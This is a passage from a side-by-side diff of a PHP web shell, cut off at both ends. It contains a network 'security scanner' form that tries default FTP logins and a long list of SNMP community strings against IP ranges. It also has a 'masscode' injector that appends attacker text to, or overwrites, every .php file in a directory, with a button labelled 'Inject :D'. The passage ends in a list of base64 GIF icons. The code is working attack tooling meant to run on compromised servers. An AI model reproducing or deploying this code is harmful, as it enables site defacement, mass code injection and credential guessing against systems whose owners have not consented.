width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>"; | 7107 | echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning <input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>"; |
| 7108 | } | 7108 | } |
| 7109 | } | 7109 | } |
| 7110 | 7110 | ||
| 7111 | if ($act == "masscode") | 7111 | if ($act == "masscode") |
| 7112 | { | 7112 | { |
| 7113 | if(isset($_POST['dir']) && | 7113 | if(isset($_POST['dir']) && |
| 7114 | $_POST['dir'] != '' && | 7114 | $_POST['dir'] != '' && |
| 7115 | isset($_POST['filetype']) && | 7115 | isset($_POST['filetype']) && |
| 7116 | $_POST['filetype'] != '' && | 7116 | $_POST['filetype'] != '' && |
| 7117 | isset($_POST['mode']) && | 7117 | isset($_POST['mode']) && |
| 7118 | $_POST['mode'] != '' && | 7118 | $_POST['mode'] != '' && |
| 7119 | isset($_POST['message']) && | 7119 | isset($_POST['message']) && |
| 7120 | $_POST['message'] != '' | 7120 | $_POST['message'] != '' |
| 7121 | ) | 7121 | ) |
| 7122 | { | 7122 | { |
| 7123 | $dir = $_POST['dir']; | 7123 | $dir = $_POST['dir']; |
| 7124 | $filetype = $_POST['filetype']; | 7124 | $filetype = $_POST['filetype']; |
| 7125 | $message = $_POST['message']; | 7125 | $message = $_POST['message']; |
| 7126 | 7126 | ||
| 7127 | $mode = "a"; //default mode | 7127 | $mode = "a"; //default mode |
| 7128 | 7128 | ||
| 7129 | 7129 | ||
| 7130 | // Modes Begin | 7130 | // Modes Begin |
| 7131 | 7131 | ||
| 7132 | if($_POST['mode'] == 'Apender') | 7132 | if($_POST['mode'] == 'Apender') |
| 7133 | { | 7133 | { |
| 7134 | $mode = "a"; | 7134 | $mode = "a"; |
| 7135 | } | 7135 | } |
| 7136 | if($_POST['mode'] == 'Overwriter') | 7136 | if($_POST['mode'] == 'Overwriter') |
| 7137 | { | 7137 | { |
| 7138 | $mode = "w"; | 7138 | $mode = "w"; |
| 7139 | } | 7139 | } |
| 7140 | 7140 | ||
| 7141 | if($handle = opendir($dir)) | 7141 | if($handle = opendir($dir)) |
| 7142 | { | 7142 | { |
| 7143 | ?> | 7143 | ?> |
| 7144 | Overwritten Files :- | 7144 | Overwritten Files :- |
| 7145 | <ul style="padding: 5px;" > | 7145 | <ul style="padding: 5px;" > |
| 7146 | <?php | 7146 | <?php |
| 7147 | while(($file = readdir($handle)) !== False) | 7147 | while(($file = readdir($handle)) !== False) |
| 7148 | { | 7148 | { |
| 7149 | if((preg_match("/$filetype".'$'.'/', $file , $matches) != 0) && (preg_match('/'.$file.'$/', $self , $matches) != 1)) | 7149 | if((preg_match("/$filetype".'$'.'/', $file , $matches) != 0) && (preg_match('/'.$file.'$/', $self , $matches) != 1)) |
| 7150 | { | 7150 | { |
| 7151 | ?> | 7151 | ?> |
| 7152 | <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li> | 7152 | <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li> |
| 7153 | <?php | 7153 | <?php |
| 7154 | echo "\n"; | 7154 | echo "\n"; |
| 7155 | $fd = fopen($dir.$file,$mode); | 7155 | $fd = fopen($dir.$file,$mode); |
| 7156 | if (!$fd) echo "<p><font color=red>Permission Denied</font></p>"; break; | 7156 | if (!$fd) echo "<p><font color=red>Permission Denied</font></p>"; break; |
| 7157 | fwrite($fd,$message); | 7157 | fwrite($fd,$message); |
| 7158 | } | 7158 | } |
| 7159 | } | 7159 | } |
| 7160 | ?> | 7160 | ?> |
| 7161 | </ul> | 7161 | </ul> |
| 7162 | <?php | 7162 | <?php |
| 7163 | } | 7163 | } |
| 7164 | } | 7164 | } |
| 7165 | else | 7165 | else |
| 7166 | { | 7166 | { |
| 7167 | ?> | 7167 | ?> |
| 7168 | <table > | 7168 | <table > |
| 7169 | 7169 | ||
| 7170 | <form method='POST'> | 7170 | <form method='POST'> |
| 7171 | <input type="hidden" name="injector"/> | 7171 | <input type="hidden" name="injector"/> |
| 7172 | <tr> | 7172 | <tr> |
| 7173 | <td class="title"> | 7173 | <td class="title"> |
| 7174 | Directory | 7174 | Directory |
| 7175 | </td> | 7175 | </td> |
| 7176 | <td> | 7176 | <td> |
| 7177 | <input name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" /> | 7177 | <input name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" /> |
| 7178 | </td> | 7178 | </td> |
| 7179 | </tr> | 7179 | </tr> |
| 7180 | <tr> | 7180 | <tr> |
| 7181 | <td class="title"> | 7181 | <td class="title"> |
| 7182 | Mode | 7182 | Mode |
| 7183 | </td> | 7183 | </td> |
| 7184 | <td> | 7184 | <td> |
| 7185 | <select style="width: 125px;" name="mode"> | 7185 | <select style="width: 125px;" name="mode"> |
| 7186 | <option value="Apender">Apender</option> | 7186 | <option value="Apender">Apender</option> |
| 7187 | <option value="Overwriter">Overwriter</option> | 7187 | <option value="Overwriter">Overwriter</option> |
| 7188 | </select> | 7188 | </select> |
| 7189 | </td> | 7189 | </td> |
| 7190 | </tr> | 7190 | </tr> |
| 7191 | <tr> | 7191 | <tr> |
| 7192 | <td class="title"> | 7192 | <td class="title"> |
| 7193 | File Type | 7193 | File Type |
| 7194 | </td> | 7194 | </td> |
| 7195 | <td> | 7195 | <td> |
| 7196 | <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value=='')this.value='.php';" /> | 7196 | <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value=='')this.value='.php';" /> |
| 7197 | </td> | 7197 | </td> |
| 7198 | </tr> | 7198 | </tr> |
| 7199 | 7199 | ||
| 7200 | 7200 | ||
| 7201 | <tr> | 7201 | <tr> |
| 7202 | <td colspan="2"> | 7202 | <td colspan="2"> |
| 7203 | <textarea name="message" cols="110" rows="10" class="cmd">I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea> | 7203 | <textarea name="message" cols="110" rows="10" class="cmd">I cant forget the time, i was trying to learn all this stuff without some guidance ..</textarea> |
| 7204 | </td> | 7204 | </td> |
| 7205 | </tr> | 7205 | </tr> |
| 7206 | 7206 | ||
| 7207 | 7207 | ||
| 7208 | <tr> | 7208 | <tr> |
| 7209 | <td rowspan="2"> | 7209 | <td rowspan="2"> |
| 7210 | <input style="margin : 20px; margin-left: 315px; padding : 10px; width: 100px;" type="submit" value="Inject :D"/> | 7210 | <input style="margin : 20px; margin-left: 315px; padding : 10px; width: 100px;" type="submit" value="Inject :D"/> |
| 7211 | </td> | 7211 | </td> |
| 7212 | </tr> | 7212 | </tr> |
| 7213 | </form> | 7213 | </form> |
| 7214 | </table> | 7214 | </table> |
| 7215 | <?php | 7215 | <?php |
| 7216 | } | 7216 | } |
| 7217 | } | 7217 | } |
| 7218 | 7218 | ||
| 7219 | } | 7219 | } |
| 7220 | else | 7220 | else |
| 7221 | 7221 | ||
| 7222 | { | 7222 | { |
| 7223 | 7223 | ||
| 7224 | @ob_clean(); | 7224 | @ob_clean(); |
| 7225 | 7225 | ||
| 7226 | $images = array( | 7226 | $images = array( |
| 7227 | 7227 | ||
| 7228 | "arrow_ltr"=> | 7228 | "arrow_ltr"=> |
| 7229 | 7229 | ||
| 7230 | "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". | 7230 | "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". |
| 7231 | 7231 | ||
| 7232 | "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", | 7232 | "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", |
| 7233 | 7233 | ||
| 7234 | "back"=> | 7234 | "back"=> |
| 7235 | 7235 | ||
| 7236 | "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". | 7236 | "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". |
| 7237 | 7237 | ||
| 7238 | "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". | 7238 | "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". |
| 7239 | 7239 | ||
| 7240 | "Wg0JADs=", | 7240 | "Wg0JADs=", |
| 7241 | 7241 | ||
| 7242 | "buffer"=> | 7242 | "buffer"=> |
| 7243 | 7243 | ||
| 7244 | "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". | 7244 | "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". |
| 7245 | 7245 | ||
| 7246 | "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". | 7246 | "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". |
| 7247 | 7247 | ||
| 7248 | "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", | 7248 | "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", |
| 7249 | 7249 | ||
| 7250 | "change"=> | 7250 | "change"=> |
| 7251 | 7251 | ||
| 7252 | "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". | 7252 | "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". |
| 7253 | 7253 | ||
| 7254 | "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". | 7254 | "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". |
| 7255 | 7255 | ||
| 7256 | "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". | 7256 | "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". |
| 7257 | 7257 | ||
| 7258 | "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". | 7258 | "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". |
| 7259 | 7259 | ||
| 7260 | "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". | 7260 | "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". |
| 7261 | 7261 | ||
| 7262 | "zMshADs=", | 7262 | "zMshADs=", |
| 7263 | 7263 | ||
| 7264 | "delete"=> | 7264 | "delete"=> |
| 7265 | 7265 | ||
| 7266 | "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". | 7266 | "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". |
| 7267 | 7267 | ||
| 7268 | "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". | 7268 | "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". |
| 7269 | 7269 | ||
| 7270 | "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". | 7270 | "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". |
| 7271 | 7271 | ||
| 7272 | "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". | 7272 | "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". |
| 7273 | 7273 | ||
| 7274 | "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". | 7274 | "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". |
| 7275 | 7275 | ||
| 7276 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 7276 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 7277 | 7277 | ||
| 7278 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". | 7278 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". |
| 7279 | 7279 | ||
| 7280 | "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". | 7280 | "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". |
| 7281 | 7281 | ||
| 7282 | "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". | 7282 | "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". |
| 7283 | 7283 | ||
| 7284 | "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". | 7284 | "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". |
| 7285 | 7285 | ||
| 7286 | "jwVFHBgiEGQFIgQasYkcSbJQIAA7", | 7286 | "jwVFHBgiEGQFIgQasYkcSbJQIAA7", |
| 7287 | 7287 | ||
| 7288 | "download"=> | 7288 | "download"=> |
| 7289 | 7289 | ||
| 7290 | "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". | 7290 | "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". |
| 7291 | 7291 | ||
| 7292 | "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". | 7292 | "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". |
| 7293 | 7293 | ||
| 7294 | "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", | 7294 | "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", |
| 7295 | 7295 | ||
| 7296 | "forward"=> | 7296 | "forward"=> |
| 7297 | 7297 | ||
| 7298 | "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". | 7298 | "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". |
| 7299 | 7299 | ||
| 7300 | "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". | 7300 | "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". |
| 7301 | 7301 | ||
| 7302 | "WqsJADs=", | 7302 | "WqsJADs=", |
| 7303 | 7303 | ||
| 7304 | "home"=> | 7304 | "home"=> |
| 7305 | 7305 | ||
| 7306 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". | 7306 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". |
| 7307 | 7307 | ||
| 7308 | "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". | 7308 | "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". |
| 7309 | 7309 | ||
| 7310 | "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". | 7310 | "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". |
| 7311 | 7311 | ||
| 7312 | "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", | 7312 | "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", |
| 7313 | 7313 | ||
| 7314 | "mode"=> | 7314 | "mode"=> |
| 7315 | 7315 | ||
| 7316 | "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". | 7316 | "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". |
| 7317 | 7317 | ||
| 7318 | "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". | 7318 | "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". |
| 7319 | 7319 | ||
| 7320 | "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". | 7320 | "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". |
| 7321 | 7321 | ||
| 7322 | "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", | 7322 | "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", |
| 7323 | 7323 | ||
| 7324 | "refresh"=> | 7324 | "refresh"=> |
| 7325 | 7325 | ||
| 7326 | "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". | 7326 | "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". |
| 7327 | 7327 | ||
| 7328 | "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". | 7328 | "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". |
| 7329 | 7329 | ||
| 7330 | "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". | 7330 | "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". |
| 7331 | 7331 | ||
| 7332 | "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", | 7332 | "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", |
| 7333 | 7333 | ||
| 7334 | "search"=> | 7334 | "search"=> |
| 7335 | 7335 | ||
| 7336 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". | 7336 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". |
| 7337 | 7337 | ||
| 7338 | "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". | 7338 | "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". |
| 7339 | 7339 | ||
| 7340 | "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". | 7340 | "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". |
| 7341 | 7341 | ||
| 7342 | "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". | 7342 | "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". |
| 7343 | 7343 | ||
| 7344 | "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", | 7344 | "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", |
| 7345 | 7345 | ||
| 7346 | "setup"=> | 7346 | "setup"=> |
| 7347 | 7347 | ||
| 7348 | "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". | 7348 | "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". |
| 7349 | 7349 | ||
| 7350 | "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". | 7350 | "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". |
| 7351 | 7351 | ||
| 7352 | "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". | 7352 | "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". |
| 7353 | 7353 | ||
| 7354 | "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". | 7354 | "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". |
| 7355 | 7355 | ||
| 7356 | "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", | 7356 | "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", |
| 7357 | 7357 | ||
| 7358 | "small_dir"=> | 7358 | "small_dir"=> |
| 7359 | 7359 | ||
| 7360 | "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". | 7360 | "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". |
| 7361 | 7361 | ||
| 7362 | "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". | 7362 | "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". |
| 7363 | 7363 | ||
| 7364 | "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", | 7364 | "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", |
| 7365 | 7365 | ||
| 7366 | "small_unk"=> | 7366 | "small_unk"=> |
| 7367 | 7367 | ||
| 7368 | "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". | 7368 | "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". |
| 7369 | 7369 | ||
| 7370 | "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". | 7370 | "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". |
| 7371 | 7371 | ||
| 7372 | "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". | 7372 | "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". |
| 7373 | 7373 | ||
